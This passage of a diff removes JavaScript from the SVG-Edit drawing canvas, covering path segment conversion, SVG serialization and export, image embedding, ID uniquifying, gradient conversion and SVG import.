-						} else {
-							x += curx;
-							y += cury;
-							curx = x;
-							cury = y;
-						}
-						if(type === 3) last_m = [curx, cury];
-						
-						addToD([[x,y]]);
-						break;
-					case 6: // absolute cubic (C)
-						x -= curx; x1 -= curx; x2 -= curx;
-						y -= cury; y1 -= cury; y2 -= cury;
-					case 7: // relative cubic (c)
-						if(toRel) {
-							curx += x;
-							cury += y;
-						} else {
-							x += curx; x1 += curx; x2 += curx;
-							y += cury; y1 += cury; y2 += cury;
-							curx = x;
-							cury = y;
-						}
-						addToD([[x1,y1],[x2,y2],[x,y]]);
-						break;
-					case 8: // absolute quad (Q)
-						x -= curx; x1 -= curx;
-						y -= cury; y1 -= cury;
-					case 9: // relative quad (q) 
-						if(toRel) {
-							curx += x;
-							cury += y;
-						} else {
-							x += curx; x1 += curx;
-							y += cury; y1 += cury;
-							curx = x;
-							cury = y;
-						}
-						addToD([[x1,y1],[x,y]]);
-						break;
-					case 10: // absolute elliptical arc (A)
-						x -= curx;
-						y -= cury;
-					case 11: // relative elliptical arc (a)
-						if(toRel) {
-							curx += x;
-							cury += y;
-						} else {
-							x += curx;
-							y += cury;
-							curx = x;
-							cury = y;
-						}
-						addToD([[seg.r1,seg.r2]], [
-								seg.angle,
-								(seg.largeArcFlag ? 1 : 0),
-								(seg.sweepFlag ? 1 : 0)
-							],[x,y]
-						);
-						break;
-					case 16: // absolute smooth cubic (S)
-						x -= curx; x2 -= curx;
-						y -= cury; y2 -= cury;
-					case 17: // relative smooth cubic (s)
-						if(toRel) {
-							curx += x;
-							cury += y;
-						} else {
-							x += curx; x2 += curx;
-							y += cury; y2 += cury;
-							curx = x;
-							cury = y;
-						}
-						addToD([[x2,y2],[x,y]]);
-						break;
-				} // switch on path segment type
-			} // for each segment
-			return d;
-		}
-	}
-}();
-// end pathActions
-
-// Group: Serialization
-
-// Function: removeUnusedDefElems
-// Looks at DOM elements inside the <defs> to see if they are referred to,
-// removes them from the DOM if they are not.
-// 
-// Returns:
-// The amount of elements that were removed
-var removeUnusedDefElems = this.removeUnusedDefElems = function() {
-	var defs = svgcontent.getElementsByTagNameNS(svgns, "defs");
-	if(!defs || !defs.length) return 0;
-	
-// 	if(!defs.firstChild) return;
-	
-	var defelem_uses = [],
-		numRemoved = 0;
-	var attrs = ['fill', 'stroke', 'filter', 'marker-start', 'marker-mid', 'marker-end'];
-	var alen = attrs.length;
-	
-	var all_els = svgcontent.getElementsByTagNameNS(svgns, '*');
-	var all_len = all_els.length;
-	
-	for(var i=0; i<all_len; i++) {
-		var el = all_els[i];
-		for(var j = 0; j < alen; j++) {
-			var ref = getUrlFromAttr(el.getAttribute(attrs[j]));
-			if(ref) {
-				defelem_uses.push(ref.substr(1));
-			}
-		}
-		
-		// gradients can refer to other gradients
-		var href = getHref(el);
-		if (href && href.indexOf('#') === 0) {
-			defelem_uses.push(href.substr(1));
-		}
-	};
-	
-	var defelems = $(svgcontent).find("linearGradient, radialGradient, filter, marker, svg, symbol");
-		defelem_ids = [],
-		i = defelems.length;
-	while (i--) {
-		var defelem = defelems[i];
-		var id = defelem.id;
-		if(defelem_uses.indexOf(id) < 0) {
-			// Not found, so remove (but remember)
-			removedElements[id] = defelem;
-			defelem.parentNode.removeChild(defelem);
-			numRemoved++;
-		}
-	}
-
-	return numRemoved;
-}
-
-// Function: svgCanvasToString
-// Main function to set up the SVG content for output 
-//
-// Returns: 
-// String containing the SVG image for output
-this.svgCanvasToString = function() {
-	// keep calling it until there are none to remove
-	while (removeUnusedDefElems() > 0) {};
-	
-	pathActions.clear(true);
-	
-	// Keep SVG-Edit comment on top
-	$.each(svgcontent.childNodes, function(i, node) {
-		if(i && node.nodeType === 8 && node.data.indexOf('Created with') >= 0) {
-			svgcontent.insertBefore(node, svgcontent.firstChild);
-		}
-	});
-	
-	// Move out of in-group editing mode
-	if(current_group) {
-		leaveContext();
-		selectOnly([current_group]);
-	}
-	
-	var naked_svgs = [];
-	
-	// Unwrap gsvg if it has no special attributes (only id and style)
-	$(svgcontent).find('g:data(gsvg)').each(function() {
-		var attrs = this.attributes;
-		var len = attrs.length;
-		for(var i=0; i<len; i++) {
-			if(attrs[i].nodeName == 'id' || attrs[i].nodeName == 'style') {
-				len--;
-			}
-		}
-		// No significant attributes, so ungroup
-		if(len <= 0) {
-			var svg = this.firstChild;
-			naked_svgs.push(svg);
-			$(this).replaceWith(svg);
-		}
-	});
-	var output = this.svgToString(svgcontent, 0);
-	
-	// Rewrap gsvg
-	if(naked_svgs.length) {
-		$(naked_svgs).each(function() {
-			groupSvgElem(this);
-		});
-	}
-	
-	return output;
-};
-
-// Function: svgToString
-// Sub function ran on each SVG element to convert it to a string as desired
-// 
-// Parameters: 
-// elem - The SVG element to convert
-// indent - Integer with the amount of spaces to indent this tag
-//
-// Returns: 
-// String with the given element as an SVG tag
-this.svgToString = function(elem, indent) {
-	var out = new Array(), toXml = svgedit.utilities.toXml;
-	var unit = curConfig.baseUnit;
-	var unit_re = new RegExp('^-?[\\d\\.]+' + unit + '$');
-
-	if (elem) {
-		cleanupElement(elem);
-		var attrs = elem.attributes,
-			attr,
-			i,
-			childs = elem.childNodes;
-		
-		for (var i=0; i<indent; i++) out.push(" ");
-		out.push("<"); out.push(elem.nodeName);
-		if(elem.id === 'svgcontent') {
-			// Process root element separately
-			var res = getResolution();
-			
-			var vb = "";
-			// TODO: Allow this by dividing all values by current baseVal
-			// Note that this also means we should properly deal with this on import
-// 			if(curConfig.baseUnit !== "px") {
-// 				var unit = curConfig.baseUnit;
-// 				var unit_m = svgedit.units.getTypeMap()[unit];
-// 				res.w = svgedit.units.shortFloat(res.w / unit_m)
-// 				res.h = svgedit.units.shortFloat(res.h / unit_m)
-// 				vb = ' viewBox="' + [0, 0, res.w, res.h].join(' ') + '"';				
-// 				res.w += unit;
-// 				res.h += unit;
-// 			}
-			
-			if(unit !== "px") {
-				res.w = svgedit.units.convertUnit(res.w, unit) + unit;
-				res.h = svgedit.units.convertUnit(res.h, unit) + unit;
-			}
-			
-			out.push(' width="' + res.w + '" height="' + res.h + '"' + vb + ' xmlns="'+svgns+'"');
-			
-			var nsuris = {};
-			
-			// Check elements for namespaces, add if found
-			$(elem).find('*').andSelf().each(function() {
-				var el = this;
-				$.each(this.attributes, function(i, attr) {
-					var uri = attr.namespaceURI;
-					if(uri && !nsuris[uri] && nsMap[uri] !== 'xmlns' && nsMap[uri] !== 'xml' ) {
-						nsuris[uri] = true;
-						out.push(" xmlns:" + nsMap[uri] + '="' + uri +'"');
-					}
-				});
-			});
-			
-			var i = attrs.length;
-			var attr_names = ['width','height','xmlns','x','y','viewBox','id','overflow'];
-			while (i--) {
-				attr = attrs.item(i);
-				var attrVal = toXml(attr.nodeValue);
-				
-				// Namespaces have already been dealt with, so skip
-				if(attr.nodeName.indexOf('xmlns:') === 0) continue;
-
-				// only serialize attributes we don't use internally
-				if (attrVal != "" && attr_names.indexOf(attr.localName) == -1) 
-				{
-
-					if(!attr.namespaceURI || nsMap[attr.namespaceURI]) {
-						out.push(' '); 
-						out.push(attr.nodeName); out.push("=\"");
-						out.push(attrVal); out.push("\"");
-					}
-				}
-			}
-		} else {
-			// Skip empty defs
-			if(elem.nodeName === 'defs' && !elem.firstChild) return;
-		
-			var moz_attrs = ['-moz-math-font-style', '_moz-math-font-style'];
-			for (var i=attrs.length-1; i>=0; i--) {
-				attr = attrs.item(i);
-				var attrVal = toXml(attr.nodeValue);
-				//remove bogus attributes added by Gecko
-				if (moz_attrs.indexOf(attr.localName) >= 0) continue;
-				if (attrVal != "") {
-					if(attrVal.indexOf('pointer-events') === 0) continue;
-					if(attr.localName === "class" && attrVal.indexOf('se_') === 0) continue;
-					out.push(" "); 
-					if(attr.localName === 'd') attrVal = pathActions.convertPath(elem, true);
-					if(!isNaN(attrVal)) {
-						attrVal = svgedit.units.shortFloat(attrVal);
-					} else if(unit_re.test(attrVal)) {
-						attrVal = svgedit.units.shortFloat(attrVal) + unit;
-					}
-					
-					// Embed images when saving 
-					if(save_options.apply
-						&& elem.nodeName === 'image' 
-						&& attr.localName === 'href'
-						&& save_options.images
-						&& save_options.images === 'embed') 
-					{
-						var img = encodableImages[attrVal];
-						if(img) attrVal = img;
-					}
-					
-					// map various namespaces to our fixed namespace prefixes
-					// (the default xmlns attribute itself does not get a prefix)
-					if(!attr.namespaceURI || attr.namespaceURI == svgns || nsMap[attr.namespaceURI]) {
-						out.push(attr.nodeName); out.push("=\"");
-						out.push(attrVal); out.push("\"");
-					}
-				}
-			}
-		}
-
-		if (elem.hasChildNodes()) {
-			out.push(">");
-			indent++;
-			var bOneLine = false;
-			
-			for (var i=0; i<childs.length; i++)
-			{
-				var child = childs.item(i);
-				switch(child.nodeType) {
-				case 1: // element node
-					out.push("\n");
-					out.push(this.svgToString(childs.item(i), indent));
-					break;
-				case 3: // text node
-					var str = child.nodeValue.replace(/^\s+|\s+$/g, "");
-					if (str != "") {
-						bOneLine = true;
-						out.push(toXml(str) + "");
-					}
-					break;
-				case 8: // comment
-					out.push("\n");
-					out.push(new Array(indent+1).join(" "));
-					out.push("<!--");
-					out.push(child.data);
-					out.push("-->");
-					break;
-				} // switch on node type
-			}
-			indent--;
-			if (!bOneLine) {
-				out.push("\n");
-				for (var i=0; i<indent; i++) out.push(" ");
-			}
-			out.push("</"); out.push(elem.nodeName); out.push(">");
-		} else {
-			out.push("/>");
-		}
-	}
-	return out.join('');
-}; // end svgToString()
-
-// Function: embedImage
-// Converts a given image file to a data URL when possible, then runs a given callback
-//
-// Parameters: 
-// val - String with the path/URL of the image
-// callback - Optional function to run when image data is found, supplies the
-// result (data URL or false) as first parameter.
-this.embedImage = function(val, callback) {
-
-	// load in the image and once it's loaded, get the dimensions
-	$(new Image()).load(function() {
-		// create a canvas the same size as the raster image
-		var canvas = document.createElement("canvas");
-		canvas.width = this.width;
-		canvas.height = this.height;
-		// load the raster image into the canvas
-		canvas.getContext("2d").drawImage(this,0,0);
-		// retrieve the data: URL
-		try {
-			var urldata = ';svgedit_url=' + encodeURIComponent(val);
-			urldata = canvas.toDataURL().replace(';base64',urldata+';base64');
-			encodableImages[val] = urldata;
-		} catch(e) {
-			encodableImages[val] = false;
-		}
-		last_good_img_url = val;
-		if(callback) callback(encodableImages[val]);
-	}).attr('src',val);
-}
-
-// Function: setGoodImage
-// Sets a given URL to be a "last good image" URL
-this.setGoodImage = function(val) {
-	last_good_img_url = val;
-}
-
-this.open = function() {
-	// Nothing by default, handled by optional widget/extension
-};
-
-// Function: save
-// Serializes the current drawing into SVG XML text and returns it to the 'saved' handler.
-// This function also includes the XML prolog.  Clients of the SvgCanvas bind their save
-// function to the 'saved' event.
-//
-// Returns: 
-// Nothing
-this.save = function(opts) {
-	// remove the selected outline before serializing
-	clearSelection();
-	// Update save options if provided
-	if(opts) $.extend(save_options, opts);
-	save_options.apply = true;
-	
-	// no need for doctype, see http://jwatt.org/svg/authoring/#doctype-declaration
-	var str = this.svgCanvasToString();
-	call("saved", str);
-};
-
-// Function: rasterExport
-// Generates a PNG Data URL based on the current image, then calls "exported" 
-// with an object including the string and any issues found
-this.rasterExport = function() {
-	// remove the selected outline before serializing
-	clearSelection();
-	
-	// Check for known CanVG issues 
-	var issues = [];
-	
-	// Selector and notice
-	var issue_list = {
-		'feGaussianBlur': uiStrings.exportNoBlur,
-		'foreignObject': uiStrings.exportNoforeignObject,
-		'[stroke-dasharray]': uiStrings.exportNoDashArray
-	};
-	var content = $(svgcontent);
-	
-	// Add font/text check if Canvas Text API is not implemented
-	if(!("font" in $('<canvas>')[0].getContext('2d'))) {
-		issue_list['text'] = uiStrings.exportNoText;
-	}
-	
-	$.each(issue_list, function(sel, descr) {
-		if(content.find(sel).length) {
-			issues.push(descr);
-		}
-	});
-
-	var str = this.svgCanvasToString();
-	call("exported", {svg: str, issues: issues});
-};
-
-// Function: getSvgString
-// Returns the current drawing as raw SVG XML text.
-//
-// Returns:
-// The current drawing as raw SVG XML text.
-this.getSvgString = function() {
-	save_options.apply = false;
-	return this.svgCanvasToString();
-};
-
-// Function: randomizeIds
-// This function determines whether to use a nonce in the prefix, when
-// generating IDs for future documents in SVG-Edit.
-// 
-//  Parameters:
-//   an opional boolean, which, if true, adds a nonce to the prefix. Thus
-//     svgCanvas.randomizeIds()  <==> svgCanvas.randomizeIds(true)
-//
-// if you're controlling SVG-Edit externally, and want randomized IDs, call
-// this BEFORE calling svgCanvas.setSvgString
-//
-this.randomizeIds = function() {
-	if (arguments.length > 0 && arguments[0] == false) {
-		svgedit.draw.randomizeIds(false, getCurrentDrawing());
-	} else {
-		svgedit.draw.randomizeIds(true, getCurrentDrawing());
-	}
-};
-
-// Function: uniquifyElems
-// Ensure each element has a unique ID
-//
-// Parameters:
-// g - The parent element of the tree to give unique IDs
-var uniquifyElems = this.uniquifyElems = function(g) {
-	var ids = {};
-	// TODO: Handle markers and connectors.  These are not yet re-identified properly
-	// as their referring elements do not get remapped.
-	//
-	// <marker id='se_marker_end_svg_7'/>
-	// <polyline id='svg_7' se:connector='svg_1 svg_6' marker-end='url(#se_marker_end_svg_7)'/>
-	// 
-	// Problem #1: if svg_1 gets renamed, we do not update the polyline's se:connector attribute
-	// Problem #2: if the polyline svg_7 gets renamed, we do not update the marker id nor the polyline's marker-end attribute
-	var ref_elems = ["filter", "linearGradient", "pattern",	"radialGradient", "symbol", "textPath", "use"];
-	
-	svgedit.utilities.walkTree(g, function(n) {
-		// if it's an element node
-		if (n.nodeType == 1) {
-			// and the element has an ID
-			if (n.id) {
-				// and we haven't tracked this ID yet
-				if (!(n.id in ids)) {
-					// add this id to our map
-					ids[n.id] = {elem:null, attrs:[], hrefs:[]};
-				}
-				ids[n.id]["elem"] = n;
-			}
-			
-			// now search for all attributes on this element that might refer
-			// to other elements
-			$.each(ref_attrs,function(i,attr) {
-				var attrnode = n.getAttributeNode(attr);
-				if (attrnode) {
-					// the incoming file has been sanitized, so we should be able to safely just strip off the leading #
-					var url = svgedit.utilities.getUrlFromAttr(attrnode.value),
-						refid = url ? url.substr(1) : null;
-					if (refid) {
-						if (!(refid in ids)) {
-							// add this id to our map
-							ids[refid] = {elem:null, attrs:[], hrefs:[]};
-						}
-						ids[refid]["attrs"].push(attrnode);
-					}
-				}
-			});
-			
-			// check xlink:href now
-			var href = svgedit.utilities.getHref(n);
-			// TODO: what if an <image> or <a> element refers to an element internally?
-			if(href && ref_elems.indexOf(n.nodeName) >= 0)
-			{
-				var refid = href.substr(1);
-				if (refid) {
-					if (!(refid in ids)) {
-						// add this id to our map
-						ids[refid] = {elem:null, attrs:[], hrefs:[]};
-					}
-					ids[refid]["hrefs"].push(n);
-				}
-			}						
-		}
-	});
-	
-	// in ids, we now have a map of ids, elements and attributes, let's re-identify
-	for (var oldid in ids) {
-		if (!oldid) continue;
-		var elem = ids[oldid]["elem"];
-		if (elem) {
-			var newid = getNextId();
-			
-			// assign element its new id
-			elem.id = newid;
-			
-			// remap all url() attributes
-			var attrs = ids[oldid]["attrs"];
-			var j = attrs.length;
-			while (j--) {
-				var attr = attrs[j];
-				attr.ownerElement.setAttribute(attr.name, "url(#" + newid + ")");
-			}
-			
-			// remap all href attributes
-			var hreffers = ids[oldid]["hrefs"];
-			var k = hreffers.length;
-			while (k--) {
-				var hreffer = hreffers[k];
-				svgedit.utilities.setHref(hreffer, "#"+newid);
-			}
-		}
-	}
-}
-
-// Function setUseData
-// Assigns reference data for each use element
-var setUseData = this.setUseData = function(parent) {
-	var elems = $(parent);
-	
-	if(parent.tagName !== 'use') {
-		elems = elems.find('use');
-	}
-	
-	elems.each(function() {
-		var id = getHref(this).substr(1);
-		var ref_elem = getElem(id);
-		if(!ref_elem) return;
-		$(this).data('ref', ref_elem);
-		if(ref_elem.tagName == 'symbol' || ref_elem.tagName == 'svg') {
-			$(this).data('symbol', ref_elem).data('ref', ref_elem);
-		}
-	});
-}
-
-// Function convertGradients
-// Converts gradients from userSpaceOnUse to objectBoundingBox
-var convertGradients = this.convertGradients = function(elem) {
-	var elems = $(elem).find('linearGradient, radialGradient');
-	if(!elems.length && svgedit.browser.isWebkit()) {
-		// Bug in webkit prevents regular *Gradient selector search
-		elems = $(elem).find('*').filter(function() {
-			return (this.tagName.indexOf('Gradient') >= 0);
-		});
-	}
-	
-	elems.each(function() {
-		var grad = this;
-		if($(grad).attr('gradientUnits') === 'userSpaceOnUse') {
-			// TODO: Support more than one element with this ref by duplicating parent grad
-			var elems = $(svgcontent).find('[fill=url(#' + grad.id + ')],[stroke=url(#' + grad.id + ')]');
-			if(!elems.length) return;
-			
-			// get object's bounding box
-			var bb = svgedit.utilities.getBBox(elems[0]);
-			
-			// This will occur if the element is inside a <defs> or a <symbol>,
-			// in which we shouldn't need to convert anyway.
-			if(!bb) return;
-			
-			if(grad.tagName === 'linearGradient') {
-				var g_coords = $(grad).attr(['x1', 'y1', 'x2', 'y2']);
-				
-				// If has transform, convert
-				var tlist = grad.gradientTransform.baseVal;
-				if(tlist && tlist.numberOfItems > 0) {
-					var m = transformListToTransform(tlist).matrix;
-					var pt1 = transformPoint(g_coords.x1, g_coords.y1, m);
-					var pt2 = transformPoint(g_coords.x2, g_coords.y2, m);
-					
-					g_coords.x1 = pt1.x;
-					g_coords.y1 = pt1.y;
-					g_coords.x2 = pt2.x;
-					g_coords.y2 = pt2.y;
-					grad.removeAttribute('gradientTransform');
-				}
-				
-				$(grad).attr({
-					x1: (g_coords.x1 - bb.x) / bb.width,
-					y1: (g_coords.y1 - bb.y) / bb.height,
-					x2: (g_coords.x2 - bb.x) / bb.width,
-					y2: (g_coords.y2 - bb.y) / bb.height
-				});
-				grad.removeAttribute('gradientUnits');
-			} else {
-				// Note: radialGradient elements cannot be easily converted 
-				// because userSpaceOnUse will keep circular gradients, while
-				// objectBoundingBox will x/y scale the gradient according to
-				// its bbox. 
-				
-				// For now we'll do nothing, though we should probably have
-				// the gradient be updated as the element is moved, as 
-				// inkscape/illustrator do.
-			
-//         				var g_coords = $(grad).attr(['cx', 'cy', 'r']);
-//         				
-// 						$(grad).attr({
-// 							cx: (g_coords.cx - bb.x) / bb.width,
-// 							cy: (g_coords.cy - bb.y) / bb.height,
-// 							r: g_coords.r
-// 						});
-// 						
-// 	        			grad.removeAttribute('gradientUnits');
-			}
-			
-
-		}
-	});
-}
-
-// Function: convertToGroup
-// Converts selected/given <use> or child SVG element to a group
-var convertToGroup = this.convertToGroup = function(elem) {
-	if(!elem) {
-		elem = selectedElements[0];
-	}
-	var $elem = $(elem);
-	
-	var batchCmd = new BatchCommand();
-	
-	var ts;
-	
-	if($elem.data('gsvg')) {
-		// Use the gsvg as the new group
-		var svg = elem.firstChild;
-		var pt = $(svg).attr(['x', 'y']);
-		
-		$(elem.firstChild.firstChild).unwrap();
-		$(elem).removeData('gsvg');
-		
-		var tlist = getTransformList(elem);
-		var xform = svgroot.createSVGTransform();
-		xform.setTranslate(pt.x, pt.y);
-		tlist.appendItem(xform);
-		recalculateDimensions(elem);
-		call("selected", [elem]);
-	} else if($elem.data('symbol')) {
-		elem = $elem.data('symbol');
-		
-		ts = $elem.attr('transform');
-		var pos = $elem.attr(['x','y']);
-
-		var vb = elem.getAttribute('viewBox');
-		
-		if(vb) {
-			var nums = vb.split(' ');
-			pos.x -= +nums[0];
-			pos.y -= +nums[1];
-		}
-		
-		// Not ideal, but works
-		ts += " translate(" + (pos.x || 0) + "," + (pos.y || 0) + ")";
-		
-		var prev = $elem.prev();
-		
-		// Remove <use> element
-		batchCmd.addSubCommand(new RemoveElementCommand($elem[0], $elem[0].nextSibling, $elem[0].parentNode));
-		$elem.remove();
-		
-		// See if other elements reference this symbol
-		var has_more = $(svgcontent).find('use:data(symbol)').length;
-			
-		var g = svgdoc.createElementNS(svgns, "g");
-		var childs = elem.childNodes;
-		
-		for(var i = 0; i < childs.length; i++) {
-			g.appendChild(childs[i].cloneNode(true));
-		}
-		
-		// Duplicate the gradients for Gecko, since they weren't included in the <symbol>
-		if(svgedit.browser.isGecko()) {
-			var dupeGrads = $(findDefs()).children('linearGradient,radialGradient,pattern').clone();
-			$(g).append(dupeGrads);
-		}
-		
-		if (ts) {
-			g.setAttribute("transform", ts);
-		}
-		
-		var parent = elem.parentNode;
-		
-		uniquifyElems(g);
-		
-		// Put the dupe gradients back into <defs> (after uniquifying them)
-		if(svgedit.browser.isGecko()) {
-			$(findDefs()).append( $(g).find('linearGradient,radialGradient,pattern') );
-		}
-	
-		// now give the g itself a new id
-		g.id = getNextId();
-		
-		prev.after(g);
-		
-		if(parent) {
-			if(!has_more) {
-				// remove symbol/svg element
-				var nextSibling = elem.nextSibling;
-				parent.removeChild(elem);
-				batchCmd.addSubCommand(new RemoveElementCommand(elem, nextSibling, parent));
-			}
-			batchCmd.addSubCommand(new InsertElementCommand(g));
-		}
-		
-		setUseData(g);
-		
-		if(svgedit.browser.isGecko()) {
-			convertGradients(findDefs());
-		} else {
-			convertGradients(g);
-		}
-		
-		// recalculate dimensions on the top-level children so that unnecessary transforms
-		// are removed
-		svgedit.utilities.walkTreePost(g, function(n){try{recalculateDimensions(n)}catch(e){console.log(e)}});
-		
-		// Give ID for any visible element missing one
-		$(g).find(visElems).each(function() {
-			if(!this.id) this.id = getNextId();
-		});
-		
-		selectOnly([g]);
-		
-		var cm = pushGroupProperties(g, true);
-		if(cm) {
-			batchCmd.addSubCommand(cm);
-		}
-
-		addCommandToHistory(batchCmd);
-		
-	} else {
-		console.log('Unexpected element to ungroup:', elem);
-	}
-}
-
-//   
-// Function: setSvgString
-// This function sets the current drawing as the input SVG XML.
-//
-// Parameters:
-// xmlString - The SVG as XML text.
-//
-// Returns:
-// This function returns false if the set was unsuccessful, true otherwise.
-this.setSvgString = function(xmlString) {
-	try {
-		// convert string into XML document
-		var newDoc = svgedit.utilities.text2xml(xmlString);
-
-		this.prepareSvg(newDoc);
-
-		var batchCmd = new BatchCommand("Change Source");
-
-		// remove old svg document
-		var nextSibling = svgcontent.nextSibling;
-		var oldzoom = svgroot.removeChild(svgcontent);
-		batchCmd.addSubCommand(new RemoveElementCommand(oldzoom, nextSibling, svgroot));
-	
-		// set new svg document
-		svgcontent = svgroot.appendChild(svgdoc.importNode(newDoc.documentElement, true));
-		
-		var content = $(svgcontent);
-		
-		canvas.current_drawing_ = new svgedit.draw.Drawing(svgcontent, idprefix);
-		
-		// retrieve or set the nonce
-		var nonce = getCurrentDrawing().getNonce();
-		if (nonce) {
-			call("setnonce", nonce);
-		} else {
-			call("unsetnonce");
-		}
-		
-		// change image href vals if possible
-		content.find('image').each(function() {
-			var image = this;
-			preventClickDefault(image);
-			var val = getHref(this);
-			if(val.indexOf('data:') === 0) {
-				// Check if an SVG-edit data URI
-				var m = val.match(/svgedit_url=(.*?);/);
-				if(m) {
-					var url = decodeURIComponent(m[1]);
-					$(new Image()).load(function() {
-						image.setAttributeNS(xlinkns,'xlink:href',url);
-					}).attr('src',url);
-				}
-			}
-			// Add to encodableImages if it loads
-			canvas.embedImage(val);
-		});
-	
-		// Wrap child SVGs in group elements
-		content.find('svg').each(function() {
-			// Skip if it's in a <defs>
-			if($(this).closest('defs').length) return;
-		
-			uniquifyElems(this);
-		
-			// Check if it already has a gsvg group
-			var pa = this.parentNode;
-			if(pa.childNodes.length === 1 && pa.nodeName === 'g') {
-				$(pa).data('gsvg', this);
-				pa.id = pa.id || getNextId();
-			} else {
-				groupSvgElem(this);
-			}
-		});
-		
-		// For Firefox: Put all paint elems in defs
-		if(svgedit.browser.isGecko()) {
-			content.find('linearGradient, radialGradient, pattern').appendTo(findDefs());
-		}
-
-		
-		// Set ref element for <use> elements
-		
-		// TODO: This should also be done if the object is re-added through "redo"
-		setUseData(content);
-		
-		convertGradients(content[0]);
-		
-		// recalculate dimensions on the top-level children so that unnecessary transforms
-		// are removed
-		svgedit.utilities.walkTreePost(svgcontent, function(n){try{recalculateDimensions(n)}catch(e){console.log(e)}});
-		
-		var attrs = {
-			id: 'svgcontent',
-			overflow: curConfig.show_outside_canvas?'visible':'hidden'
-		};
-		
-		var percs = false;
-		
-		// determine proper size
-		if (content.attr("viewBox")) {
-			var vb = content.attr("viewBox").split(' ');
-			attrs.width = vb[2];
-			attrs.height = vb[3];
-		}
-		// handle content that doesn't have a viewBox
-		else {
-			$.each(['width', 'height'], function(i, dim) {
-				// Set to 100 if not given
-				var val = content.attr(dim);
-				
-				if(!val) val = '100%';
-				
-				if((val+'').substr(-1) === "%") {
-					// Use user units if percentage given
-					percs = true;
-				} else {
-					attrs[dim] = convertToNum(dim, val);
-				}
-			});
-		}
-		
-		// identify layers
-		identifyLayers();
-		
-		// Give ID for any visible layer children missing one
-		content.children().find(visElems).each(function() {
-			if(!this.id) this.id = getNextId();
-		});
-		
-		// Percentage width/height, so let's base it on visible elements
-		if(percs) {
-			var bb = getStrokedBBox();
-			attrs.width = bb.width + bb.x;
-			attrs.height = bb.height + bb.y;
-		}
-		
-		// Just in case negative numbers are given or 
-		// result from the percs calculation
-		if(attrs.width <= 0) attrs.width = 100;
-		if(attrs.height <= 0) attrs.height = 100;
-		
-		content.attr(attrs);
-		this.contentW = attrs['width'];
-		this.contentH = attrs['height'];
-		
-		batchCmd.addSubCommand(new InsertElementCommand(svgcontent));
-		// update root to the correct size
-		var changes = content.attr(["width", "height"]);
-		batchCmd.addSubCommand(new ChangeElementCommand(svgroot, changes));
-		
-		// reset zoom
-		current_zoom = 1;
-		
-		// reset transform lists
-		svgedit.transformlist.resetListMap();
-		clearSelection();
-		svgedit.path.clearData();
-		svgroot.appendChild(selectorManager.selectorParentGroup);
-		
-		addCommandToHistory(batchCmd);
-		call("changed", [svgcontent]);
-	} catch(e) {
-		console.log(e);
-		return false;
-	}
-
-	return true;
-};
-
-// Function: importSvgString
-// This function imports the input SVG XML as a <symbol> in the <defs>, then adds a
-// <use> to the current layer.
-//
-// Parameters:
-// xmlString - The SVG as XML text.
-//
-// Returns:
-// This function returns false if the import was unsuccessful, true otherwise.
-// TODO: 
-// * properly handle if namespace is introduced by imported content (must add to svgcontent
-// and update all prefixes in the imported node)
-// * properly handle recalculating dimensions, recalculateDimensions() doesn't handle
-// arbitrary transform lists, but makes some assumptions about how the transform list 
-// was obtained
-// * import should happen in top-left of current zoomed viewport	
-this.importSvgString = function(xmlString) {
-
-	try {
-		// Get unique ID
-		var uid = svgedit.utilities.encode64(xmlString.length + xmlString).substr(0,32);
-		
-		var useExisting = false;
-
-		// Look for symbol and make sure symbol exists in image
-		if(import_ids[uid]) {
-			if( $(import_ids[uid].symbol).parents('#svgroot').length ) {
-				useExisting = true;
-			}
-		}
-		
-		var batchCmd = new BatchCommand("Import SVG");
-	
-		if(useExisting) {
-			var symbol = import_ids[uid].symbol;
-			var ts = import_ids[uid].xform;
-		} else {
-			// convert string into XML document
-			var newDoc = svgedit.utilities.text2xml(xmlString);
-	
-			this.prepareSvg(newDoc);
-	
-			// import new svg document into our document
-			var svg = svgdoc.importNode(newDoc.documentElement, true);
-			
-			uniquifyElems(svg);
-			
-			var innerw = convertToNum('width', svg.getAttribute("width")),
-				innerh = convertToNum('height', svg.getAttribute("height")),
-				innervb = svg.getAttribute("viewBox"),
-				// if no explicit viewbox, create one out of the width and height
-				vb = innervb ? innervb.split(" ") : [0,0,innerw,innerh];
-			for (var j = 0; j < 4; ++j)
-				vb[j] = +(vb[j]);
-	
-			// TODO: properly handle preserveAspectRatio
-			var canvasw = +svgcontent.getAttribute("width"),
-				canvash = +svgcontent.getAttribute("height");
-			// imported content should be 1/3 of the canvas on its largest dimension
-			
-			if (innerh > innerw) {
-				var ts = "scale(" + (canvash/3)/vb[3] + ")";
-			}
-			else {
-				var ts = "scale(" + (canvash/3)/vb[2] + ")";
-			}
-			
-			// Hack to make recalculateDimensions understand how to scale
-			ts = "translate(0) " + ts + " translate(0)";
-			
-			var symbol = svgdoc.createElementNS(svgns, "symbol");
-			var defs = findDefs();
-			
-			if(svgedit.browser.isGecko()) {
-				// Move all gradients into root for Firefox, workaround for this bug:
-				// https://bugzilla.mozilla.org/show_bug.cgi?id=353575
-				// TODO: Make this properly undo-able.
-				$(svg).find('linearGradient, radialGradient, pattern').appendTo(defs);
-			}
-	
-			while (svg.firstChild) {
-				var first = svg.firstChild;
-				symbol.appendChild(first);
-			}
-			var attrs = svg.attributes;
-			for(var i=0; i < attrs.length; i++) {
-				var attr = attrs[i];
-				symbol.setAttribute(attr.nodeName, attr.nodeValue);
-			}
-			symbol.id = getNextId();
-			
-			// Store data
-			import_ids[uid] = {
-				symbol: symbol,
-				xform: ts
-			}
-			
-			findDefs().appendChild(symbol);
-			batchCmd.addSubCommand(new InsertElementCommand(symbol));
-		}
-		
-		
-		var use_el = svgdoc.createElementNS(svgns, "use");
-		use_el.id = getNextId();
-		setHref(use_el, "#" + symbol.id);
-		
-		(current_group || getCurrentDrawing().getCurrentLayer()).appendChild(use_el);
-		batchCmd.addSubCommand(new InsertElementCommand(use_el));
-		clearSelection();
-		
-		use_el.setAttribute("transform", ts);
-		recalculateDimensions(use_el);
-		$(use_el).data('symbol', symbol).data('ref', symbol);
-		addToSelection([use_el]);
-		
-		// TODO: Find way to add this in a recalculateDimensions-parsable way
-// 				if (vb[0] != 0 || vb[1] != 0)
-// 					ts = "translate(" + (-vb[0]) + "," + (-vb[1]) + ") " + ts;
-		addCommandToHistory(batchCmd);
-		call("changed", [svgcontent]);
-
-	} catch(e) {
-		console.log(e);
-		return false;
-	}
-
-	return true;
-};
-
-// TODO(codedread): Move all layer/context functions in draw.js
-// Layer API Functions
-
-// Group: Layers
-
-// Function: identifyLayers
-// Updates layer system
-var identifyLayers = canvas.identifyLayers = function() {
-	leaveContext();
-	getCurrentDrawing().identifyLayers();
-};
